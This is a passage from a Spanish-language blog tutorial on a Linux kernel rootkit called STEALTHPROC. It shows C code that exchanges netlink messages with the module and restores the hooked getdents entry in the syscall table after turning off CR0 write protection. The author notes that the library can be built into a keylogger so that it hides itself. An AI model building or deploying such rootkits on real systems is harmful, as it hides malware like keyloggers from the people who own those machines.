  nlh-> nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
  nlh-> nlmsg_pid = pid;
  nlh-> nlmsg_flags = 0;
  
  strcpy((char *)NLMSG_DATA(nlh), 
message.c_str());
  iov.iov_base = (void *) nlh;
  iov.iov_len = nlh-> nlmsg_len;
  msg.msg_name = (void *) &dest_addr;
  msg.msg_namelen = sizeof(dest_addr);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  
  int result = 0;
  result = sendmsg(sock_fd, &msg, 0);
  if (result == -1)
  {
    string error_returned(strerror(errno));
    error_message = "Error sending message to /
                    kernel: " + error_returned + 
                    "\n";
    close(sock_fd);
    return -1;
  }
  
  result = recvmsg(sock_fd, &msg, 0);
  if (result == -1)
  {
    string error_returned(strerror(errno));
    error_message = "Error receiving message /
                    from kernel: " + 
error_returned + "\n";
    close(sock_fd);
    return -1;
  }  
  close(sock_fd);
  return 0;
}

La función es bastante larga pero tiene muchas similitudes con la creación de sockets TCP/IP. Se crea el socket con una llamada a la función socket() y pasando como parámetro PF_NETLINK, para señalar que es un socket netlink, SOCK_DGRAM, ya que lo mensajes netlink son de tipo datagrama (no hay un establecimiento de sesión como en TCP), y finalmente "module_code" que es un entero que identifica al módulo con el que queremos conectar y que debe coincidir con el que se utiliza en la función "netlink_kernel_create" en el lado del módulo de kernel (en este caso coincide con la constante "NETLINK_STEALTHPROC" usada en dicha función). En la estructura nlmsghdr llamada "nlh" se introducen los datos que conformarán la cabecera del mensaje. Por último se copia el mensaje a enviar mediante un "strcpy" a la sección de la cabecera facilitada por la macro NLMSG_DATA y se envía el mensaje con "sendmsg".

Para controlar los módulos de kernel del rootkit he encapsulado todos las funciones referentes a sockets netlink en una librería aparte: stealth.h. Stealthmanager es un programa sencillo que permite mandarle comandos a los módulos del rootkit y que utiliza esta librería. Esta librería puede usarse en programas ya hechos, como keylogger, para hacer que este se registre automáticamente al comenzar para ocultarse y que se desregistre al recibir una señal de finalización (sudo kill -15 pid) para liberar ese número de proceso. Ambas posibilidades están implementadas en el código fuente que acompaña este artículo.

Por último, nos queda revisar la función "myexit" que se llama cuando se descarga el módulo del kernel con el rmmod:

static int myexit(void)
{
  /* We have to disable CR0 write protection in order to write
   * original functions to syscall_table.
   */
  if (cr0_protection)
    write_cr0 (read_cr0 () & (~ 0x10000));
  syscall_table[__NR_getdents] = original_getdents; 
  if (cr0_protection) 
    write_cr0 (read_cr0 () | 0x10000);
  if (nl_sk != NULL)
    //netlink_kernel_release(nl_sk);
    sock_release(nl_sk);
  print("STEALTHPROC: Module exit.\n");
  return 0;
}

Como se puede ver, se vuelve a poner el array de llamadas al sistema en su estado original y se cierra el socket netlink.

Con esto damos por terminado el artículo, no sin antes recomendar la lectura la lectura de los siguientes artículos, en los que está fuertemente inspirado este y otros que vendrán:

Tampoco quiero finalizar el artículo sin recomendar que todas las pruebas que se hagan con los programas propuestos se hagan sobre máquinas virtuales de laboratorio de las que se tengan copias de seguridad actualizadas. No me hago responsable de ningún daño que se pueda derivar del uso de estos programas sobre máquinas de producción.

2 comentarios:

Manuel Jimenez dijo...

me parece uno de los mejores post q he leido jamas.....paracuando la parte 2

Anónimo dijo...

Tu blog es una pasada, sigue así :)